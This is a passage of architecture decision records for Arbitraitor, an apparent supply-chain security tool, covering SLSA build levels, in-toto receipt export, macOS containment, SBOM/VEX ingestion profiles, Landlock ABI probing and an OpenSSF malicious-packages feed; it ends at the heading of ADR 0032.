Spec v0.5 §14.6 commits Arbitraitor’s own releases to targeting SLSA Build Level 3. SLSA (Supply-chain Levels for Software Artifacts) v1.2 defines separate Build and Source tracks. Build L3 requires a hardened build platform with provenance that is non-forgeable.

Currently Arbitraitor uses GitHub Actions hosted runners, pinned actions by SHA, and GitHub artifact attestations for build provenance. This meets SLSA Build L1 (provenance available). The path to L2 (hosted build service) and L3 (non-forgeable hermetic boundary) requires additional work documented below.

Decision

Arbitraitor v0.5 releases self-describe as SLSA Build L2. The v0.6 target is L3, contingent on:

  1. Hermetic builds: all dependencies fetched before build; no network access during compilation step. Achieved via cargo build --offline after cargo fetch.
  2. Provenance generation: SLSA Provenance v1 statement (predicateType: https://slsa.dev/provenance/v1) with buildDefinition.buildType, runDetails.builder.id, and resolvedDependencies populated.
  3. Non-forgeable provenance: the provenance statement is signed and published as a GitHub artifact attestation verifiable via gh attestation verify.
  4. Reproducibility evidence: a second build from the same source produces bit-identical artifacts, or a documented explanation of unavoidable variance.
  5. Isolated release workflow: release jobs run only from protected tags, use OIDC trusted publishing, and share no writable caches with PR workflows.

Consequences

  • Release pipeline complexity increases (offline build, provenance generation).
  • Reproducibility may require CARGO_PROFILE_RELEASE_DEBUG=0 and SOURCE_DATE_EPOCH normalization.
  • Until all five criteria are met, releases must not claim L3.

Source Track consumption

SLSA v1.2 adds a Source Track for evidence about how source revisions are authored, reviewed, and accepted:

  • Source L1 (version controlled): the source revision is managed by a version control system and is uniquely identifiable.
  • Source L2 (history and provenance): continuous change history and tamper-resistant source provenance record when and how a revision was created, including source-contributor identity and enforced controls.
  • Source L3 (continuous technical controls): the source control system continuously enforces declared controls on protected references, such as branch-protection rules, required status checks, and review requirements.

The final v1.2 specification defines mandatory two-party review at Source L4. Arbitraitor consumes explicit two-party-review evidence when available, but must not infer it from Source L3 alone.

A verified Source L2+ VSA and its supporting provenance, bound to the exact source revision, is a stronger provenance signal than Build L1 alone: Build L1 shows that build provenance exists, while Source L2+ also supplies source-authoring history, contributor identity, and control evidence. This signal is additive. It does not raise the artifact’s Build level or replace verification of the build provenance, attestation issuer, or subject digest.

Alternatives considered

  • L1 only (status field): insufficient for a security boundary tool.
  • L3 immediately: unverifiable without offline build and reproducibility evidence.

References

ADR 0023: in-toto Statement receipt envelope

Status: Accepted Date: 2026-06-29 Issue: #273

Context

Arbitraitor receipts are RFC 8785 JCS canonicalized JSON (ADR-0014). For interoperability with supply-chain tools (GUAC, Sigstore, in-toto verifylib, dependency-management platforms), receipts should be exportable as in-toto Statements per ITE-6 (_type: https://in-toto.io/Statement/v1).

Changing the canonical receipt format would be a breaking change and risk schema churn. The question is whether to wrap receipts in in-toto Statements canonically or as an optional derived export.

Decision

The canonical Arbitraitor receipt format is RFC 8785 JCS JSON (ADR-0014). This ADR proposes adding an optional derived export as an in-toto Statement:

{
  "_type": "https://in-toto.io/Statement/v1",
  "subject": [{ "name": "sha256:...", "digest": { "sha256": "..." } }],
  "predicateType": "https://arbitraitor.dev/verdict/v1",
  "predicate": { /* full Arbitraitor receipt object */ }
}

Two predicate types are defined:

  • https://arbitraitor.dev/verdict/v1: the verdict receipt
  • https://arbitraitor.dev/payload-graph/v1: the payload graph alone

The Statement is signed via DSSE (Dead Simple Signing Envelope) per in-toto conventions, using the same key/capability as the canonical receipt.

The export is requested via arbitraitor inspect --receipt receipt.json --export-intoto statement.json or the daemon library API.

Anti-forgery: the in-toto export includes the canonical receipt’s own signature in predicate.provenance.receipt_signature so downstream consumers can detect mismatch between Statement and receipt.

Consequences

  • Receipts remain backward-compatible (no schema change).
  • GUAC and other in-toto-compatible tools can ingest Arbitraitor receipts natively.
  • The export is a separate code path that must be maintained and tested.
  • DSSE signature verification adds a dependency or requires manual verification logic.

Alternatives considered

  • Canonical in-toto envelope (replacing JCS): breaking change, high risk.
  • No in-toto support: limits interoperability with supply-chain platforms.

References

ADR 0024: macOS containment strategy

Status: Accepted Date: 2026-06-29 Issue: #279

Context

Spec §27.4 states macOS supports only inspect and mediated assurance until a containment ADR is accepted. Apple deprecated sandbox-exec with no documented replacement for non-App-Store server-side process sandboxing (Apple containerization issue 737).

The Endpoint Security framework (introduced macOS Catalina, es_subscribe, ~60 MAC hooks) provides observation and authorization events (es_respond_auth_result can allow/deny some operations), but it is not a complete containment primitive — it lacks network sandbox coverage and is not a declarative filesystem/network/process boundary like Linux namespaces or seccomp. It is distributed as a Developer ID-signed System Extension (not Mac App Store), requires notarization, and its audit subsystem is deprecated in favor of unified logging.

App Sandbox requires com.apple.security.app-sandbox entitlement and is designed for GUI/Mac-App-Store apps, not headless CLI tools.

Decision

macOS containment ADR is deferred until one of the following primitives becomes available:

  1. Apple Containerization DarwinProcess lite isolation — currently an open research question (issue 737, May 2026).
  2. Disposable VM via Virtualization.framework — heavyweight but proven; requires a separate VM image management story.
  3. External helper using a non-App-Store System Extension — requires Developer ID signing and an end-user install consent flow, with Endpoint Security for observation paired with an external sandbox mechanism.

Until the ADR is Accepted:

  • macOS supports inspect and mediated assurance only.
  • Contained assurance requests on macOS must downgrade to mediated (or block per policy) — the receipt’s effective-controls matrix (§27.7) records filesystem_isolation, network_isolation, process_tree_containment, and privilege_suppression as unavailable.
  • The arbitraitor doctor command reports macOS containment as unavailable — ADR pending.

For observation mode (sandbox: observe), the Endpoint Security framework via System Extension is the supported path. This provides process-tree, file-access, and network-connection observation events (§27.6). The ES AUTH events may allow/deny some operations, but coverage is incomplete and not equivalent to a full containment profile.

Consequences

  • macOS users cannot claim contained assurance — only inspect or mediated.
  • Enterprise deployments requiring contained assurance on macOS must use disposable VMs or wait for platform support.
  • The receipt must be honest about the platform’s limitations (ADR-0007).
  • No native macOS sandbox code is shipped until this ADR is Accepted.

Alternatives considered

  • Ship sandbox-exec profiles anyway: deprecated, unreliable, Apple explicitly discourages third-party use.
  • Require HyperKit/disposable VM for all macOS contained requests: heavyweight, poor UX, but defensible for enterprise.
  • Port to App Sandbox: requires GUI app packaging, not suitable for a headless CLI security gate.

References

ADR 0025: OpenSSF Scorecard, deps.dev, and GUAC as optional integrations

Status: Accepted Date: 2026-06-29 Issue: #275

Context

Spec v0.5 §21.8 and §21.9 describe project-posture signals (OpenSSF Scorecard, deps.dev) and supply-chain graph query (GUAC) as optional enterprise integrations. These tools provide independent signals about a project’s security posture that complement artifact-level signals (hash, signature, reputation).

GUAC (Graph for Understanding Artifact Composition) v1.1.0 aggregates SBOM, DSSE, deps.dev, in-toto ITE-6, Scorecard, OSV, SLSA, SPDX, CSAF VEX, and OpenVEX into a queryable graph. It is a separate service, not a library.

Decision

These are proposed optional enterprise integrations, not implemented or required core Arbitraitor capabilities:

  1. OpenSSF Scorecard — Arbitraitor would consume Scorecard results as a detector input (advisory, never authoritative). This requires the artifact’s source repository to be resolvable. When unresolvable, the signal would be unavailable — never passing.

  2. deps.dev — provides license info, package deprecation, and dependency resolution depth. Consumed as a supplementary signal alongside OSV/KEV (§18.5).

  3. GUAC — Arbitraitor receipts (via the optional in-toto export, ADR-0023) are ingestible by GUAC as DSSE-wrapped in-toto Statements. An enterprise deploys GUAC separately and queries it across all supply-chain artifacts. Arbitraitor does not embed or require GUAC.

Arbitraitor operates fully without any of these integrations. Receipts do not depend on their availability (§3.10: “fail closed for enforcement, fail explainably for tooling”).

Consequences

  • No new hard dependencies. Scorecard/deps.dev data is fetched via HTTP when policy opts in; GUAC is an external service.
  • Enterprise users gain supply-chain graph queryability without Arbitraitor embedding the tooling.
  • Scorecard posture is one signal among many — it never authorizes release (invariant 5, invariant 22) and never overrides malware findings (invariant 21).

Alternatives considered

  • Embed GUAC as a library: would add significant dependency surface and architectural coupling for a feature that only benefits enterprise users.
  • Require Scorecard for all artifacts: most artifacts’ source repos are unresolvable; would produce incomplete verdicts for legitimate downloads.

References

ADR 0026: EU CRA / NIST SSDF informational compliance mapping

Status: Accepted Date: 2026-06-29 Issue: #276

Context

The EU Cyber Resilience Act (Reg 2024/2847) enters force December 2024 with vulnerability reporting obligations applying from September 2026 and full applicability from December 2027. Annex I Part II requires a machine-readable SBOM of top-level dependencies. Article 14 mandates 24h/72h/14d vulnerability reporting to CSIRTs/ENISA.

The US Executive Order 14028, OMB M-22-18, and OMB M-23-09 require federal software vendors to self-attest to NIST SSDF (SP 800-218) conformance.

Arbitraitor’s spec §44.1 describes an informational compliance mapping, not a normative self-attestation. Normative claims require legal and process evidence the spec cannot define.

Decision

Arbitraitor provides an informational evidence matrix mapping current controls to CRA and SSDF language. The matrix documents what Arbitraitor does (not what it satisfies):

EU CRA mapping (informational)

CRA RequirementArbitraitor Control (planned)
Annex I Part II: SBOM in machine-readable formatTarget: CycloneDX SBOM via cargo-cyclonedx for Arbitraitor releases (§44)
Article 14: 24h/72h/14d vulnerability reportingSECURITY.md directs reports to GitHub private vulnerability reporting; reporting cadence is an operational responsibility, not a code feature
Recital 77: SBOM need not be publicSBOM would be attached to releases but not published to a public registry

NIST SSDF mapping (informational)

SSDF PracticeArbitraitor Control (current or planned)
PO.5.1 (define security requirements)Spec §9 security invariants; ADRs for every security-relevant decision
PS.1.1 (protect components from tampering)SHA-256 CAS with invariant 2 (immutable identity)
PS.2.1 (automated build)GitHub Actions; target: pin actions by SHA for all workflows
PS.3.2 (provenance)Target: GitHub artifact attestations; SLSA Build L2 target (ADR-0022)
PW.4.4 (review human-readable code)CODEOWNERS with security-owner review for sensitive paths
PW.5.1 (code-based configuration)TOML configuration with deny_unknown_fields (ADR-0004)
PW.6.2 (test cases)900+ tests across unit, property, integration, invariant, and fuzz layers
PW.7.1 (build from separate environment)Target: --locked release builds from protected tags
PW.8.2 (static analysis)Clippy with -D warnings; CodeQL; YARA-X for artifact content
RV.1.1 (identify vulnerabilities)cargo-audit, cargo-deny (planned); GitHub dependency review
RV.3.2 (root-cause analysis)Receipts provide full audit trail; ADRs document decisions

This mapping is informational, not a procurement self-attestation. The word “satisfies” is deliberately avoided.

Consequences

  • Arbitraitor can be cited in federal procurement context as having SSDF controls mapped, but the mapping is not a legal self-attestation.
  • The matrix must be maintained as controls evolve.
  • CRA vulnerability-reporting cadence (Article 14) is an operational responsibility, not a code feature — the mapping notes this explicitly.

Alternatives considered

  • Normative self-attestation: requires legal review and process evidence; premature for a pre-1.0 project.
  • No mapping at all: limits enterprise adoption credibility.

References

ADR 0027: CLI inspect pipeline boundary

Status: Accepted Date: 2026-07-19 Issue: #436

Context

docs/conventions.md defines arbitraitor-cli as responsible for argument parsing, output formatting, and user interaction. The inspect command had grown pipeline orchestration directly inside main.rs: fetch policy construction, source parsing, retrieval, CAS storage, analysis coordinator setup, provenance verification, and receipt assembly.

That made the CLI entry point harder to review against the crate boundary and mixed dispatch/output concerns with inspect pipeline state transitions.

Decision

Extract inspect pipeline orchestration from crates/arbitraitor-cli/src/main.rs into crates/arbitraitor-cli/src/pipeline.rs.

main.rs remains responsible for CLI parsing, command dispatch, and inspect output formatting helpers. The new pipeline module owns the inspect-related orchestration helpers within the CLI crate until the core state machine can own the pipeline more fully.

Consequences

  • main.rs becomes smaller and easier to audit for CLI-only responsibilities.
  • Inspect orchestration has a named module boundary, making future movement into arbitraitor-core easier.
  • Runtime behavior, command-line arguments, receipts, and public CLI output stay unchanged.
  • Other command business logic (wrapper_fetch, unpack, intel) remains in place and requires separate follow-up decisions if moved later.

Alternatives considered

  • Move orchestration directly to arbitraitor-core: better final boundary, but larger than this focused refactor because it would require cross-crate API design for CLI output hooks, rule loading, and receipt emission.
  • Leave orchestration in main.rs: preserves status quo, but continues to violate the documented CLI crate responsibility and keeps the entry point too large.

References

  • docs/conventions.md crate responsibility table
  • Issue #436

ADR 0028: Landlock ABI Probe and Receipt Recording

Status: Accepted Date: 2026-07-20 Issue: #466

Context

Spec §27.3 requires Linux Landlock for contained execution. Current kernels expose an expanding Landlock UAPI, and receipt consumers need to know which ABI the host reported when untrusted code executed. Issue #466 tracks adding that observable signal without changing enforcement semantics in the same step.

Landlock ABI versions relevant to Arbitraitor:

ABIKernelAdded controls
v15.13Initial filesystem restrictions
v25.19File modes isolation
v36.2Truncate / ioctl restrictions
v46.7TCP connect/bind
v56.10IOCTL device
v66.12Signal scope + abstract UNIX socket
v76.15Audit log
v87.0-rcLANDLOCK_RESTRICT_SELF_TSYNC
v96.13+ downstream patchesRESOLVE_UNIX
v106.16UDP connect/bind

Decision

Arbitraitor probes the running kernel at runtime with landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION). The return value is represented as LandlockAbiVersion and may be copied into contained-execution effective-control receipts when filesystem isolation is backed by Landlock.

This ADR is record-only. It does not set minimum acceptable ABI versions, change verdict downgrades, or claim TCP/UDP/signal/audit enforcement. Current enforcement remains limited to the filesystem access rights already installed by the sandbox crate; ABI v4+ semantics are recorded only until a follow-up policy matrix defines and tests sub-control behavior.

Consequences

  • Receipt consumers can audit whether a contained run observed Landlock v1-v10 or a future non-zero ABI.
  • Future Landlock controls can be represented before Arbitraitor claims their enforcement semantics.
  • Linux hosts without Landlock report no ABI, forcing callers to treat filesystem isolation as unavailable when containment is mandatory.
  • macOS and Windows report no Landlock ABI; their platform strategies remain governed by their dedicated ADRs.
  • A follow-up ADR or issue must define the Landlock ABI policy matrix before Arbitraitor uses ABI v4+ features for assurance-level decisions.

Alternatives considered

  • Kernel release parsing. Rejected because backports and downstream patches make release strings less authoritative than the Landlock UAPI probe.
  • Compile-time ABI constants only. Rejected because the host kernel, not the build machine, determines the effective sandbox controls.
  • Failing on ABI below v6 unconditionally. Rejected for this change because issue #466 only introduces probing and receipt exposure; minimum-version policy belongs in the planned matrix.

References

  • Linux landlock_create_ruleset(2)
  • Spec §27.3, §27.7
  • ADR-0007: Assurance levels model
  • ADR-0021: Landlock filesystem isolation for subprocess plugins

ADR 0029: VEX format support matrix

Status: Accepted Date: 2026-07-20 Issue: #468

Context

Arbitraitor consumes VEX companion artifacts as provenance evidence for package-risk findings. The supported formats must be explicit because older OpenVEX drafts used different product and vulnerability shapes, CSAF 2.0 is now ISO/IEC 20153, and CSAF 2.1 adds fields such as CVSS v4 and company involvements.

Decision

Arbitraitor supports this matrix for VEX companion artifacts:

FormatStatusNotes
OpenVEX 0.0.xRejectedMissing or legacy context defaults are ambiguous and predate the 0.2.0 product/vulnerability structs.
OpenVEX 0.1.xDeprecated/rejectedConsumers must publish 0.2.0 documents for Arbitraitor ingestion.
OpenVEX 0.2.0SupportedRequired @context is https://openvex.dev/ns/v0.2.0; products use the products array with product structs; vulnerabilities use the expanded vulnerability struct.
CSAF 1.xRejectedLegacy CSAF documents are outside the VEX profile support boundary.
CSAF 2.0SupportedCSAF VEX profile documents are accepted as ISO/IEC 20153-compatible input.
CSAF 2.1PreferredCSAF VEX profile documents are accepted with CVSS v4 vector strings and involvement statements.

The model crate exposes typed format-version labels so downstream policy can distinguish accepted and rejected formats without relying on raw strings.

Consequences

  • Unknown fields in security-critical VEX input structs are rejected by serde where the external schemas are modeled.
  • Older OpenVEX documents fail closed with a clear unsupported-context error.
  • CSAF VEX feeds are first-class intelligence sources for §21.4 source-class policy.
  • CSAF 2.1 can preserve CVSS v4 and company-involvement evidence for receipts and future policy decisions.

Alternatives considered

  • Accept OpenVEX 0.0.x/0.1.x and normalize legacy product string fields. Rejected because it would preserve ambiguous drafts after a breaking schema update.
  • Treat CSAF VEX as a generic authoritative feed. Rejected because §21.4 needs a first-class CSAF source class for auditability.
  • Add a full CSAF schema dependency. Rejected for this change because the workspace already has serde and the issue only requires the VEX profile subset.

References

ADR 0030: SBOM/VEX ingestion profiles

Status: Accepted Date: 2026-07-20 Issue: #467

Context

Spec §19.5 mentions SBOM and VEX ingestion in a single sentence. The CISA SBOM Minimum Elements guidance was updated in August 2025, and CISA + G7 published SBOM for AI: Minimum Elements in May 2026. Neither revision is enumerated in the spec, and no per-format ingestion profile exists.

CISA 2025 SBOM minimum elements

The August 2025 revision adds four data fields and renames two existing ones, against the original 2024 NTIS minimum-elements list:

2024 field2025 status
Supplier NameRenamed to Software Producer
Component NameUnchanged
Version of ComponentUnchanged
Other Unique Identifiers (PURL, CPE)Unchanged
Dependency RelationshipUnchanged
Author of SBOM DataUnchanged
TimestampUnchanged
DepthRenamed to Coverage
New: Component Hash
New: License (declared and concluded, SPDX-License-Expression)
New: Tool Name (generator identity and version)
New: Generation Context (build-time, source, deployed, other)

These shape every SBOM an upstream producer can publish, and shape the profile Arbitraitor expects when ingesting one.

May 2026 SBOM-for-AI (CISA + G7)

The May 2026 SBOM-for-AI guidance introduces seven AI-specific clusters on top of the 2025 minimum elements:

ClusterExamples
System-Level PropertiesSystem name, system version, system type, deployment context
Data PropertiesDataset name, dataset version, data modality, dataset license, sensitive-data indicators
Model PropertiesModel name, model version, model architecture, parameter count, fine-tuning data references, evaluation metrics
InfrastructureCompute substrate (accelerator type, count, memory), serving stack, hosting provider
Security PropertiesModel signing (e.g., Signet, Sigstore for models), access-control posture, adversarial-robustness evidence, prompt-injection mitigations

These clusters map to CycloneDX ML-BOM (CDXA), SPDX 2.2.1 with the AI extension, and to OpenSSF AI/ML Profile work; CSAF 2.1 carries security advisory context for the same components.

EU CRA SBOM-shape mandate

EU CRA Reg 2024/2847 Annex I Part II requires a machine-readable SBOM of top-level dependencies for products with digital elements placed on the EU market. The 2025 minimum-element shape is the de facto target the European Commission has cited in implementing guidance. The mandate is informational for Arbitraitor’s scope: it shapes what enterprise users will receive from upstream producers and need to ingest.

Adjacent standards

  • CSAF 2.0 (OASIS Standard, ISO/IEC 20153:2025) carries VEX and security advisory content keyed by PURL/CPE; the same identifiers SBOMs use.
  • CSAF 2.1 (OASIS CSD02, Feb 2026; not yet ISO) is the candidate successor. Arbitraitor accepts both; CSAF 2.1 features (cvss v4, involvements statuses) are recognized when present.
  • OpenVEX 0.2.0 (OpenSSF VEX WG) is a minimal VEX format that links an advisory to a product/version and a status. ADR-0029 is reserved for OpenVEX ingestion specifics once that work opens.
  • SPDX 2.2.1 (Linux Foundation, ISO/IEC 5962:2021) is the SPDX standard. Its field model differs from CycloneDX; a per-field mapping is required.
  • CycloneDX 1.6+ (OWASP) supports the application profile, the Cryptographic Bill of Materials (CBOM), and the ML/AI Bill of Materials (CDXA).

Why this is an ADR and not a spec edit

The spec (docs/spec.md, gitignored) is a design draft. The ingestion profile is a binding contract: once accepted, the field expectations for each format shape detector output, receipt metadata, and plugin contracts. Changing the profile later requires a superseding ADR. The shape is also expensive to reverse because it crosses SBOM parsing, receipt schema, and downstream GUAC consumers (ADR-0025).

Decision

Arbitraitor ingests SBOM and VEX documents but does not generate them. The ingestion surface is read-only and lives at the policy / provenance boundary (spec §19.5). Four formats are supported as first-class profiles; everything else is rejected with a typed error.

Read-only ingestion

Arbitraitor never produces, mutates, signs, or republishes an SBOM or VEX artifact. Generation is delegated to dedicated tooling (cargo-cyclonedx, syft, spdx-tools, cdxgen, openvexgen, csaf-tooling). Rationale:

  1. Generation requires build-system integration that varies per ecosystem. Cargo, npm, pnpm, uv, and PyPI each need a different generator and signing flow. ADR-0026 already names cargo-cyclonedx as the Arbitraitor self-release generator. Adding ingestion is enough for the current spec.
  2. VEX generation is the producer’s responsibility. CSAF 2.1 producers (vendors and CSIRTs) sign their own documents; re-signing or translating OpenVEX to CSAF introduces a separate trust boundary.
  3. Receipts already encode the canonical identity (CAS digest, spec §3.10) and the signed in-toto envelope (ADR-0023). Adding a separately signed SBOM profile duplicates that authority.

Per-format profiles

Each format profile declares the minimum fields Arbitraitor requires to project a document into the provenance graph and the detector input stream. Documents missing required fields are rejected with a typed error and the partial parse is recorded in the receipt.

CycloneDX 1.6+ (CDX)

Required: bomFormat = "CycloneDX", specVersion >= "1.6", metadata.timestamp, metadata.tools, metadata.component (when present), serialNumber, components[].bom-ref, components[].type, components[].name, components[].version, components[].purl, components[].hashes[], components[].licenses[] (declared), and dependencies[] (per component, supports the 2025 Coverage field).

Profile-aware extensions accepted when present:

ExtensionFields surfaced to detectors
Application profile (CDX-A)externalReferences[] of type release-notes, vcs, issue-tracker, documentation
Cryptographic Bill of Materials (CBOM)components[].cryptoProperties (algorithm, certificate, key, curve, usage)
ML/AI Bill of Materials (CDXA)components[].modelCard (task, inputs, outputs), components[].trainingData, components[].modelParameters, components[].evaluationData

The CBOM extension is parsed because crypto-property assertions are material to the receipt’s cryptographic provenance claims. The CDXA extension is parsed only when the SBOM is tagged with the ML/AI profile and is treated as an advisory signal (not authoritative), consistent with invariant 22 (advisory data never authorizes release).

SPDX 2.2.1

Required: spdxVersion = "SPDX-2.2.1", SPDXID on the document and every package, creationInfo.created, creationInfo.creators[], creationInfo.licenseListVersion, name, dataLicense, packages[] and relationships[].

Field mapping to the CISA 2025 minimum elements:

CISA 2025 fieldSPDX 2.2.1 path
Software Producerpackages[].supplier (or originator when supplier absent)
Component Namepackages[].name
Version of Componentpackages[].versionInfo
Other Unique Identifierspackages[].externalRefs[] of type purl or cpe22Type
Dependency Relationshiprelationships[] of type dependsOn / buildDependsOn
Author of SBOM DatacreationInfo.creators[]
TimestampcreationInfo.created
Coveragepackages[].annotations[] of type coverage and/or relationships[] breadth
Component Hashpackages[].checksums[]
License (declared)packages[].licenseDeclared
License (concluded)packages[].licenseConcluded
Tool NamecreationInfo.creators[] filtered by the SPDX Tool: creator prefix
Generation Contextpackages[].annotations[] of type generationContext

SPDX Lite (the reduced profile) is rejected: it omits hashes and the full relationships[] graph, both of which the CISA 2025 minimum elements require.

OpenVEX 0.2.0

Required: @context (OpenVEX 0.2.0 namespace), @id (per document), author, version, timestamp, statements[] with vulnerability.name (CVE or GHSA), products[] keyed by identifier. The tooling field is optional. Valid status values per the OpenVEX 0.2.0 spec are only: not_affected, affected, fixed, under_investigation. Any other status value is rejected as fail-closed per Invariant 6.

OpenVEX is VEX-only and carries no SBOM fields. It is accepted alongside the SBOM and indexed by PURL. Detailed VEX semantics (status projection into detector findings, status revocation handling) are reserved for ADR-0029 (forward reference; that ADR opens when OpenVEX ingestion is implemented).

CSAF 2.0 (ISO/IEC 20153:2025) and CSAF 2.1 (OASIS CSD02)

Required: document type csaf_vex (or csaf_security_advisory when no VEX payload is present), /document/tracking/id (UUID), /document/tracking/status, /document/publisher, /vulnerabilities[] keyed by CVE, /product_tree/branches[].product keyed by PURL or CPE.

CSAF VEX statements are projected into the same status surface as OpenVEX. CSAF also carries security advisory content (CVSS scoring, references, acknowledgements) that Arbitraitor records in the receipt metadata. Signed CSAF documents (CMS over JSON, RFC 7468) are accepted when the publisher signature verifies against a configured trust root; unsigned CSAF is accepted with a incomplete provenance flag.

AI-cluster ingestion

When a CycloneDX SBOM is tagged with the CDXA extension or the SPDX document declares the AI extension (Annotations with spdx.org:AI namespace), Arbitraitor surfaces the seven SBOM-for-AI clusters (Metadata, System Level Properties, Models, Dataset Properties, Infrastructure, Security Properties, KPI) into the receipt under a structured sbom.ai_clusters envelope:

sbom.ai_clusters:
  system_level:        [...]   # System Level Properties cluster
  models:              [...]   # Models cluster
  dataset:             [...]   # Dataset Properties cluster
  infrastructure:      [...]   # Infrastructure cluster
  security:            [...]   # Security Properties cluster
  kpi:                 [...]   # KPI cluster
  metadata:            [...]   # Metadata cluster

Receipt consumers (GUAC ingest via ADR-0025, downstream CVE matchers) treat AI clusters as advisory signals. They never authorize release (invariant 22) and never override malware findings (invariant 21).

EU CRA alignment

EU CRA Annex I Part II takes effect for products placed on the EU market from 11 December 2027. Arbitraitor’s 2025 minimum-element profile is sufficient to consume a CRA-shaped SBOM at that date; the machine-readable format the Commission cites in implementing guidance is either SPDX 2.2.1 or CycloneDX 1.6+. Both profiles above accept CRA-shaped documents unmodified. Arbitraitor does not produce a CRA self-attestation; ADR-0026 covers the informational compliance mapping.

Ingestion flow

flowchart LR
    A[SBOM/VEX document] --> B[Content identification<br/>JSON / XML / CBOR probe]
    B --> C{Format detected}
    C -->|CycloneDX 1.6+| D[CDX profile<br/>+ optional CDXA / CBOM]
    C -->|SPDX 2.2.1| E[SPDX profile<br/>field mapping]
    C -->|OpenVEX 0.2.0| F[OpenVEX profile<br/>PURL-keyed]
    C -->|CSAF 2.1| G[CSAF profile<br/>VEX + advisory]
    C -->|other| H[Reject<br/>typed error]
    D --> I[Project into provenance graph<br/>+ receipt sbom.ai_clusters envelope]
    E --> I
    F --> I
    G --> I
    I --> J[Detector input stream<br/>advisory signals only]
    I --> K[Receipt metadata<br/>RFC 8785 JCS]

Detection of the format is by bomFormat, spdxVersion, @context, and /document/category discriminators in that order. A document claiming two formats (e.g., SPDX-tagged CycloneDX) is rejected. The format probe is bounded (size + parser timeouts) per invariant 4.

Failure modes

FailureResultReceipt state
Unknown formatReject, typed errorNo SBOM metadata recorded
Required field absentReject, typed errorPartial parse recorded under sbom.partial
Extension tagged but malformedAccept parent profile, drop extensionsbom.extensions_dropped lists dropped extensions
AI cluster present without CDXA / SPDX AI tagDrop AI clusters, accept restsbom.ai_clusters empty with drop_reason
Signed CSAF, signature invalidAccept content, mark provenance: incompletecsaf.signature: invalid recorded

Consequences

  • Ingestion adds four format-specific parsers to the policy / provenance boundary. Each parser is bounded (time, memory, size) per invariant 4. All parsers reject without side effects on the rest of the pipeline.
  • Receipts grow a structured sbom envelope with format, source URL or digest, AI clusters, and dropped-extension reasons. The envelope is signed via the existing JCS pipeline (ADR-0014, ADR-0023).
  • GUAC ingest (ADR-0025) gains a richer projection: each SBOM node carries CISA 2025 minimum elements and SBOM-for-AI cluster metadata (all seven clusters: Metadata, System Level Properties, Models, Dataset Properties, Infrastructure, Security Properties, KPI).
  • The format profiles are versioned. A new format major version (CycloneDX 2.0, SPDX 3.0, CSAF 3.0) requires a superseding ADR.
  • EU CRA compliance is informational only. ADR-0026 remains the authoritative mapping; this ADR adds the SBOM-shape contract.

Alternatives considered

  • Generate SBOMs alongside ingestion: duplicates ADR-0026’s cargo-cyclonedx plan and adds per-ecosystem generators for npm, pnpm, uv, and PyPI. Each is a separate dependency admission and signing flow. Out of scope for ingestion-only policy.
  • Single-format profile (CycloneDX only): forces upstream producers to translate. SPDX and CSAF are both mandated in EU and US federal contexts; rejecting them pushes work to the operator.
  • Accept SPDX Lite: drops hashes and the dependency graph, both required by the 2025 minimum elements. Rejected.
  • Project AI clusters into the verdict directly: violates invariant 22 (advisory data never authorizes release). AI clusters are receipt metadata, not verdict inputs.
  • Use CSAF 2.0 (predecessor): lacks the ISO/IEC 20153:2025 lock-in and the structured VEX projection. CSAF 2.1 is current and canonical.

References

ADR 0031: OpenSSF malicious-packages feed via OSV.dev

Status: Accepted Date: 2026-07-20 Issue: #474

Context

Spec §21 extends Arbitraitor’s intelligence model with package-reputation feeds. OpenSSF’s malicious-packages repository publishes package malware records as OSV advisories with identifiers in the MAL-YYYY-NNNN family. OSV.dev exposes those records through the same API surface used for other package advisories, including the /v1/querybatch endpoint for package and version batches.

This matters for npm because npm v11.10 added --min-release-age, making freshly published packages a first-class risk-control axis. Arbitraitor needs to ingest OpenSSF MAL- identifiers as explicit intelligence indicators so package-manager policy can combine age gating with malicious-package evidence.

Decision

Arbitraitor treats OpenSSF malicious-packages as a bundled Tier-1 intelligence feed named ossf-malicious-packages.

  • The adapter consumes OSV.dev querybatch JSON responses and emits one signed-feed entry for each MAL- advisory.
  • MAL- identifiers are parsed into the OsvMalId newtype before entering the domain model. Invalid or non-MAL- OSV advisories are not promoted to OpenSSF malicious-package entries.
  • Entries use IndicatorType::OsvMal and FeedSourceClass::OssfMaliciousPackages, with Block disposition, High severity, and Confirmed confidence.
  • Network access remains off by default. Fetching happens only when an operator runs arbitraitor intel update --ossf-malicious-packages or points the adapter at a signed mirror URL.
  • Feed retrieval continues through arbitraitor-fetch and the existing local intel store ingestion path so SSRF policy, byte limits, TLS policy, and signed-store handling remain centralized.

Signing scheme

The OpenSSF/OSV response is source data, not Arbitraitor trust metadata. During ingestion, Arbitraitor converts parsed MAL- records into its local SignedFeedEntry scheme: each normalized FeedEntry is canonicalized with the same JSON/RFC 8785 discipline used for receipts and signed by the configured intel feed key before distribution in bundled feed snapshots.

Online updates may fetch OSV.dev directly, but redistributable bundled feeds must be signed Arbitraitor feed snapshots. Consumers verify the bundled snapshot signature before using entries for blocking policy.

Freshness requirements

Freshness mirrors OSV.dev’s malicious-package update cadence. The OpenSSF malicious-packages feed is considered Tier-1 current when the local signed snapshot was built from OSV data updated within the last 24 hours. Operators may shorten this interval for npm enforcement profiles that combine MAL- matches with npm --min-release-age checks.

Stale or unavailable OpenSSF malicious-package data never creates a clean result. Enforcement that requires current Tier-1 package intelligence must fail closed; advisory-only configurations may continue with an explicit incomplete-intel diagnostic.

Batch endpoint limits

The adapter targets OSV.dev /v1/querybatch, which accepts a batch of package queries and returns a parallel results array. Arbitraitor callers must bound batch size and payload size before fetch:

  • split package inventories into deterministic batches;
  • preserve result-to-query order for diagnostics;
  • apply the same byte, timeout, redirect, TLS, and SSRF limits as other feed retrieval;
  • skip non-MAL- advisories from mixed OSV responses instead of treating them as malicious-package IDs.

Consequences

  • OpenSSF malicious packages become explicit, type-safe intel indicators rather than free-form advisory strings.
  • npm policy can combine release-age controls with OSV-backed malicious package evidence.
  • No new production dependency is required; parsing uses existing serde and retrieval uses the existing Fetcher boundary.
  • OSV.dev API changes that alter response shape fail as feed decode errors, preserving fail-closed behavior for enforcement policies.

Alternatives considered

  • Read the OpenSSF GitHub repository directly: rejected because OSV.dev is the stable advisory API surface and already normalizes package ecosystem metadata.
  • Treat MAL- as generic advisory IDs: rejected because malicious-package IDs have different enforcement semantics from CVE/GHSA vulnerability advisories and need a distinct indicator type.
  • Enable live network lookups during artifact inspection: rejected because feed retrieval must remain explicit and policy-bounded, with cached signed feed snapshots available for offline operation.

References

ADR 0032: Tar parser consensus check

